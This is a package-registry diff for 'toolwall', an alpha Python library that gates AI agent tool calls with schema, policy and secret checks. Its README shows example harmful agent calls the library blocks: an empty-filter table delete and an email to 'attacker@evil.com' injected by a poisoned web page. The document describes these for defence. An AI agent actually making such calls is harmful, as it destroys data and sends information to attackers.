toolwall 0.2.0__tar.gz → 0.2.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {toolwall-0.2.0 → toolwall-0.2.2}/.gitignore +4 -0
- toolwall-0.2.2/PKG-INFO +147 -0
- toolwall-0.2.2/README.md +125 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/pyproject.toml +2 -2
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/__init__.py +1 -1
- toolwall-0.2.0/PKG-INFO +0 -41
- toolwall-0.2.0/README.md +0 -19
- {toolwall-0.2.0 → toolwall-0.2.2}/LICENSE +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/cli.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/gate.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/intake.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/mcp_guard.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/meter.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/policy.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/schema.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/shield.py +0 -0
- {toolwall-0.2.0 → toolwall-0.2.2}/src/toolwall/suggest.py +0 -0
toolwall-0.2.2/PKG-INFO
ADDED
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
Metadata-Version: 2.3
|
|
2
|
+
Name: toolwall
|
|
3
|
+
Version: 0.2.2
|
|
4
|
+
Summary: Fail-closed firewall for AI agent tool calls: schema + policy gate before any tool executes
|
|
5
|
+
Project-URL: Homepage, https://github.com/Dev-Saif-Ops/toolwall
|
|
6
|
+
Author: Mohammad Safwan Athar
|
|
7
|
+
License: MIT
|
|
8
|
+
Keywords: agents,ai,guardrails,llm,mcp,security,tool-calling
|
|
9
|
+
Classifier: Development Status :: 3 - Alpha
|
|
10
|
+
Classifier: Intended Audience :: Developers
|
|
11
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
12
|
+
Classifier: Programming Language :: Python :: 3
|
|
13
|
+
Classifier: Topic :: Security
|
|
14
|
+
Classifier: Topic :: Software Development :: Libraries
|
|
15
|
+
Requires-Python: >=3.10
|
|
16
|
+
Provides-Extra: dev
|
|
17
|
+
Requires-Dist: pytest-cov>=4.0; extra == 'dev'
|
|
18
|
+
Requires-Dist: pytest>=8.0; extra == 'dev'
|
|
19
|
+
Provides-Extra: mcp
|
|
20
|
+
Requires-Dist: mcp>=1.0.0; extra == 'mcp'
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
|
|
23
|
+
# toolwall
|
|
24
|
+
|
|
25
|
+
[](https://pypi.org/project/toolwall/)
|
|
26
|
+
[](https://pypi.org/project/toolwall/)
|
|
27
|
+
[](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
|
|
28
|
+
[](https://github.com/Dev-Saif-Ops/toolwall)
|
|
29
|
+
|
|
30
|
+
**A fail-closed firewall for AI agent tool calls.**
|
|
31
|
+
|
|
32
|
+
Structured outputs already guarantee your agent's tool calls are *well-formed*.
|
|
33
|
+
Nothing guarantees they're *allowed*. `toolwall` is the checkpoint that sits between
|
|
34
|
+
the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
|
|
35
|
+
|
|
36
|
+
```python
|
|
37
|
+
delete_records(filter={}) # perfectly valid JSON. whole table gone.
|
|
38
|
+
send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
|
|
39
|
+
db_query(limit=10_000_000) # schema-valid. production melts.
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
Every one of these passes JSON schema validation. Nothing in the platform stack stops
|
|
43
|
+
them. `toolwall` does.
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Install
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
pip install toolwall
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool
|
|
54
|
+
calling (and plain dicts). Python 3.10+.
|
|
55
|
+
|
|
56
|
+
## Quickstart
|
|
57
|
+
|
|
58
|
+
```python
|
|
59
|
+
from toolwall import Gate, Meter, Policy, Shield, ToolSchema, in_range, not_empty
|
|
60
|
+
|
|
61
|
+
gate = Gate(default="deny", meter=Meter(), shield=Shield(mode="block"))
|
|
62
|
+
|
|
63
|
+
gate.register(
|
|
64
|
+
"db_query", db_query,
|
|
65
|
+
schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
|
|
66
|
+
policy=Policy(constraints={"limit": in_range(1, 100)}),
|
|
67
|
+
)
|
|
68
|
+
gate.register(
|
|
69
|
+
"delete_records", delete_records,
|
|
70
|
+
schema=ToolSchema(required=["filter"], types={"filter": dict}),
|
|
71
|
+
policy=Policy(constraints={"filter": not_empty}, require_approval=True),
|
|
72
|
+
)
|
|
73
|
+
gate.budget(max_calls=20)
|
|
74
|
+
|
|
75
|
+
result = gate.run(openai_response) # any provider shape, or a plain dict
|
|
76
|
+
# result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## What it does
|
|
80
|
+
|
|
81
|
+
- **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
|
|
82
|
+
or unparseable payload all block *before* the tool runs. Registration is the allowlist.
|
|
83
|
+
- **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `ends_with`…),
|
|
84
|
+
cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
|
|
85
|
+
- **Shield**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and
|
|
86
|
+
high-entropy strings) in tool arguments and blocks or redacts them. The audit log
|
|
87
|
+
never contains the secret value.
|
|
88
|
+
- **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
|
|
89
|
+
`gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
|
|
90
|
+
a starter policy from the calls it observed.
|
|
91
|
+
- **MCP guard**: `MCPGuard` puts the same gate in front of any MCP server.
|
|
92
|
+
- **Audit trail**: every verdict exported to JSON/CSV.
|
|
93
|
+
|
|
94
|
+
## Dry-run first
|
|
95
|
+
|
|
96
|
+
```python
|
|
97
|
+
from toolwall import Gate, Meter, suggest_policies
|
|
98
|
+
|
|
99
|
+
gate = Gate(default="deny", dry_run=True, meter=Meter())
|
|
100
|
+
# ... run your agent; ALLOW calls are simulated, never executed ...
|
|
101
|
+
print(gate.report()) # verdict counts, blocked reasons, secrets caught
|
|
102
|
+
print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## Guard an MCP server
|
|
106
|
+
|
|
107
|
+
```python
|
|
108
|
+
from toolwall import Gate, MCPGuard
|
|
109
|
+
|
|
110
|
+
guard = MCPGuard(gate, forward=call_downstream_mcp_server)
|
|
111
|
+
decision = guard.handle(tool_name, args) # only ALLOW is forwarded
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Install the transport extra with `pip install "toolwall[mcp]"`.
|
|
115
|
+
|
|
116
|
+
## Examples
|
|
117
|
+
|
|
118
|
+
Runnable scripts live in the [repo `examples/` folder](https://github.com/Dev-Saif-Ops/toolwall/tree/main/toolwall/examples):
|
|
119
|
+
|
|
120
|
+
- **quickstart.py**: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
|
|
121
|
+
- **dangerous_agent_demo.py**: an off-the-rails agent replayed with vs without the gate. No API key.
|
|
122
|
+
- **mcp_guard_demo.py**: the gate in front of an MCP-style server. No API key.
|
|
123
|
+
- **live_gemini_agent.py**: a real Gemini agent using native function calling, gated by toolwall. Needs `GEMINI_API_KEY`.
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
|
|
127
|
+
python examples/quickstart.py
|
|
128
|
+
python examples/live_gemini_agent.py # set GEMINI_API_KEY first
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
## Honest status
|
|
132
|
+
|
|
133
|
+
`toolwall` is alpha. The published failure suite blocks **24 of 24 attack cases across
|
|
134
|
+
9 classes with 0 false blocks** on clean traffic, at sub-millisecond overhead. Secret
|
|
135
|
+
detection is pattern + entropy based and is **never 100%**. Structureless passwords are
|
|
136
|
+
out of scope, and the suite report states exactly what is and is not proven. Every claim
|
|
137
|
+
about toolwall cites that report, nothing broader.
|
|
138
|
+
|
|
139
|
+
## Links
|
|
140
|
+
|
|
141
|
+
- **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
|
|
142
|
+
- **What happened to TOAP** (this project's predecessor, an honest postmortem):
|
|
143
|
+
the [`toap-v0.1-archive`](https://github.com/Dev-Saif-Ops/toolwall/tree/toap-v0.1-archive) branch
|
|
144
|
+
|
|
145
|
+
## License
|
|
146
|
+
|
|
147
|
+
MIT © Mohammad Safwan Athar
|
toolwall-0.2.2/README.md
ADDED
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
# toolwall
|
|
2
|
+
|
|
3
|
+
[](https://pypi.org/project/toolwall/)
|
|
4
|
+
[](https://pypi.org/project/toolwall/)
|
|
5
|
+
[](https://github.com/Dev-Saif-Ops/toolwall/blob/main/toolwall/LICENSE)
|
|
6
|
+
[](https://github.com/Dev-Saif-Ops/toolwall)
|
|
7
|
+
|
|
8
|
+
**A fail-closed firewall for AI agent tool calls.**
|
|
9
|
+
|
|
10
|
+
Structured outputs already guarantee your agent's tool calls are *well-formed*.
|
|
11
|
+
Nothing guarantees they're *allowed*. `toolwall` is the checkpoint that sits between
|
|
12
|
+
the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
|
|
13
|
+
|
|
14
|
+
```python
|
|
15
|
+
delete_records(filter={}) # perfectly valid JSON. whole table gone.
|
|
16
|
+
send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
|
|
17
|
+
db_query(limit=10_000_000) # schema-valid. production melts.
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
Every one of these passes JSON schema validation. Nothing in the platform stack stops
|
|
21
|
+
them. `toolwall` does.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Install
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
pip install toolwall
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool
|
|
32
|
+
calling (and plain dicts). Python 3.10+.
|
|
33
|
+
|
|
34
|
+
## Quickstart
|
|
35
|
+
|
|
36
|
+
```python
|
|
37
|
+
from toolwall import Gate, Meter, Policy, Shield, ToolSchema, in_range, not_empty
|
|
38
|
+
|
|
39
|
+
gate = Gate(default="deny", meter=Meter(), shield=Shield(mode="block"))
|
|
40
|
+
|
|
41
|
+
gate.register(
|
|
42
|
+
"db_query", db_query,
|
|
43
|
+
schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
|
|
44
|
+
policy=Policy(constraints={"limit": in_range(1, 100)}),
|
|
45
|
+
)
|
|
46
|
+
gate.register(
|
|
47
|
+
"delete_records", delete_records,
|
|
48
|
+
schema=ToolSchema(required=["filter"], types={"filter": dict}),
|
|
49
|
+
policy=Policy(constraints={"filter": not_empty}, require_approval=True),
|
|
50
|
+
)
|
|
51
|
+
gate.budget(max_calls=20)
|
|
52
|
+
|
|
53
|
+
result = gate.run(openai_response) # any provider shape, or a plain dict
|
|
54
|
+
# result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## What it does
|
|
58
|
+
|
|
59
|
+
- **Fail-closed gate**: unknown tool, schema violation, policy violation, budget hit,
|
|
60
|
+
or unparseable payload all block *before* the tool runs. Registration is the allowlist.
|
|
61
|
+
- **Policy engine**: value constraints (`in_range`, `one_of`, `matches`, `ends_with`…),
|
|
62
|
+
cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
|
|
63
|
+
- **Shield**: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and
|
|
64
|
+
high-entropy strings) in tool arguments and blocks or redacts them. The audit log
|
|
65
|
+
never contains the secret value.
|
|
66
|
+
- **Dry-run**: run your whole agent with `dry_run=True`: nothing executes, and
|
|
67
|
+
`gate.report()` tells you what it *would* have done. `suggest_policies(gate)` drafts
|
|
68
|
+
a starter policy from the calls it observed.
|
|
69
|
+
- **MCP guard**: `MCPGuard` puts the same gate in front of any MCP server.
|
|
70
|
+
- **Audit trail**: every verdict exported to JSON/CSV.
|
|
71
|
+
|
|
72
|
+
## Dry-run first
|
|
73
|
+
|
|
74
|
+
```python
|
|
75
|
+
from toolwall import Gate, Meter, suggest_policies
|
|
76
|
+
|
|
77
|
+
gate = Gate(default="deny", dry_run=True, meter=Meter())
|
|
78
|
+
# ... run your agent; ALLOW calls are simulated, never executed ...
|
|
79
|
+
print(gate.report()) # verdict counts, blocked reasons, secrets caught
|
|
80
|
+
print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
## Guard an MCP server
|
|
84
|
+
|
|
85
|
+
```python
|
|
86
|
+
from toolwall import Gate, MCPGuard
|
|
87
|
+
|
|
88
|
+
guard = MCPGuard(gate, forward=call_downstream_mcp_server)
|
|
89
|
+
decision = guard.handle(tool_name, args) # only ALLOW is forwarded
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
Install the transport extra with `pip install "toolwall[mcp]"`.
|
|
93
|
+
|
|
94
|
+
## Examples
|
|
95
|
+
|
|
96
|
+
Runnable scripts live in the [repo `examples/` folder](https://github.com/Dev-Saif-Ops/toolwall/tree/main/toolwall/examples):
|
|
97
|
+
|
|
98
|
+
- **quickstart.py**: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
|
|
99
|
+
- **dangerous_agent_demo.py**: an off-the-rails agent replayed with vs without the gate. No API key.
|
|
100
|
+
- **mcp_guard_demo.py**: the gate in front of an MCP-style server. No API key.
|
|
101
|
+
- **live_gemini_agent.py**: a real Gemini agent using native function calling, gated by toolwall. Needs `GEMINI_API_KEY`.
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
|
|
105
|
+
python examples/quickstart.py
|
|
106
|
+
python examples/live_gemini_agent.py # set GEMINI_API_KEY first
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
## Honest status
|
|
110
|
+
|
|
111
|
+
`toolwall` is alpha. The published failure suite blocks **24 of 24 attack cases across
|
|
112
|
+
9 classes with 0 false blocks** on clean traffic, at sub-millisecond overhead. Secret
|
|
113
|
+
detection is pattern + entropy based and is **never 100%**. Structureless passwords are
|
|
114
|
+
out of scope, and the suite report states exactly what is and is not proven. Every claim
|
|
115
|
+
about toolwall cites that report, nothing broader.
|
|
116
|
+
|
|
117
|
+
## Links
|
|
118
|
+
|
|
119
|
+
- **Source, full docs, and the failure suite:** https://github.com/Dev-Saif-Ops/toolwall
|
|
120
|
+
- **What happened to TOAP** (this project's predecessor, an honest postmortem):
|
|
121
|
+
the [`toap-v0.1-archive`](https://github.com/Dev-Saif-Ops/toolwall/tree/toap-v0.1-archive) branch
|
|
122
|
+
|
|
123
|
+
## License
|
|
124
|
+
|
|
125
|
+
MIT © Mohammad Safwan Athar
|
|
@@ -6,7 +6,7 @@ build-backend = "hatchling.build"
|
|
|
6
6
|
|
|
7
7
|
[project]
|
|
8
8
|
name = "toolwall"
|
|
9
|
-
version = "0.2.
|
|
9
|
+
version = "0.2.2"
|
|
10
10
|
description = "Fail-closed firewall for AI agent tool calls: schema + policy gate before any tool executes"
|
|
11
11
|
readme = "README.md"
|
|
12
12
|
license = { text = "MIT" }
|
|
@@ -31,7 +31,7 @@ dev = ["pytest>=8.0", "pytest-cov>=4.0"]
|
|
|
31
31
|
toolwall = "toolwall.cli:main"
|
|
32
32
|
|
|
33
33
|
[project.urls]
|
|
34
|
-
Homepage = "https://github.com/Dev-Saif-Ops/
|
|
34
|
+
Homepage = "https://github.com/Dev-Saif-Ops/toolwall"
|
|
35
35
|
|
|
36
36
|
[tool.hatch.build.targets.wheel]
|
|
37
37
|
packages = ["src/toolwall"]
|
toolwall-0.2.0/PKG-INFO
DELETED
|
@@ -1,41 +0,0 @@
|
|
|
1
|
-
Metadata-Version: 2.3
|
|
2
|
-
Name: toolwall
|
|
3
|
-
Version: 0.2.0
|
|
4
|
-
Summary: Fail-closed firewall for AI agent tool calls: schema + policy gate before any tool executes
|
|
5
|
-
Project-URL: Homepage, https://github.com/Dev-Saif-Ops/Project_TOAP
|
|
6
|
-
Author: Mohammad Safwan Athar
|
|
7
|
-
License: MIT
|
|
8
|
-
Keywords: agents,ai,guardrails,llm,mcp,security,tool-calling
|
|
9
|
-
Classifier: Development Status :: 3 - Alpha
|
|
10
|
-
Classifier: Intended Audience :: Developers
|
|
11
|
-
Classifier: License :: OSI Approved :: MIT License
|
|
12
|
-
Classifier: Programming Language :: Python :: 3
|
|
13
|
-
Classifier: Topic :: Security
|
|
14
|
-
Classifier: Topic :: Software Development :: Libraries
|
|
15
|
-
Requires-Python: >=3.10
|
|
16
|
-
Provides-Extra: dev
|
|
17
|
-
Requires-Dist: pytest-cov>=4.0; extra == 'dev'
|
|
18
|
-
Requires-Dist: pytest>=8.0; extra == 'dev'
|
|
19
|
-
Provides-Extra: mcp
|
|
20
|
-
Requires-Dist: mcp>=1.0.0; extra == 'mcp'
|
|
21
|
-
Description-Content-Type: text/markdown
|
|
22
|
-
|
|
23
|
-
# toolwall (package)
|
|
24
|
-
|
|
25
|
-
Fail-closed firewall for AI agent tool calls. See the [repo README](../README.md) for the full story.
|
|
26
|
-
|
|
27
|
-
```bash
|
|
28
|
-
pip install -e .
|
|
29
|
-
python examples/quickstart.py # no API key needed
|
|
30
|
-
pytest # run the suite
|
|
31
|
-
```
|
|
32
|
-
|
|
33
|
-
## Modules
|
|
34
|
-
|
|
35
|
-
| Module | Role |
|
|
36
|
-
|---|---|
|
|
37
|
-
| `intake.py` | Normalize OpenAI / Anthropic / Gemini / plain-dict tool calls |
|
|
38
|
-
| `gate.py` | Fail-closed check → verdict → (optional) execute |
|
|
39
|
-
| `schema.py` | Required args + type validation before `tool(**args)` |
|
|
40
|
-
| `meter.py` | Audit events, token/cost accounting, JSON/CSV export |
|
|
41
|
-
| `cli.py` | `toolwall report <audit.json>` |
|
toolwall-0.2.0/README.md
DELETED
|
@@ -1,19 +0,0 @@
|
|
|
1
|
-
# toolwall (package)
|
|
2
|
-
|
|
3
|
-
Fail-closed firewall for AI agent tool calls. See the [repo README](../README.md) for the full story.
|
|
4
|
-
|
|
5
|
-
```bash
|
|
6
|
-
pip install -e .
|
|
7
|
-
python examples/quickstart.py # no API key needed
|
|
8
|
-
pytest # run the suite
|
|
9
|
-
```
|
|
10
|
-
|
|
11
|
-
## Modules
|
|
12
|
-
|
|
13
|
-
| Module | Role |
|
|
14
|
-
|---|---|
|
|
15
|
-
| `intake.py` | Normalize OpenAI / Anthropic / Gemini / plain-dict tool calls |
|
|
16
|
-
| `gate.py` | Fail-closed check → verdict → (optional) execute |
|
|
17
|
-
| `schema.py` | Required args + type validation before `tool(**args)` |
|
|
18
|
-
| `meter.py` | Audit events, token/cost accounting, JSON/CSV export |
|
|
19
|
-
| `cli.py` | `toolwall report <audit.json>` |
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|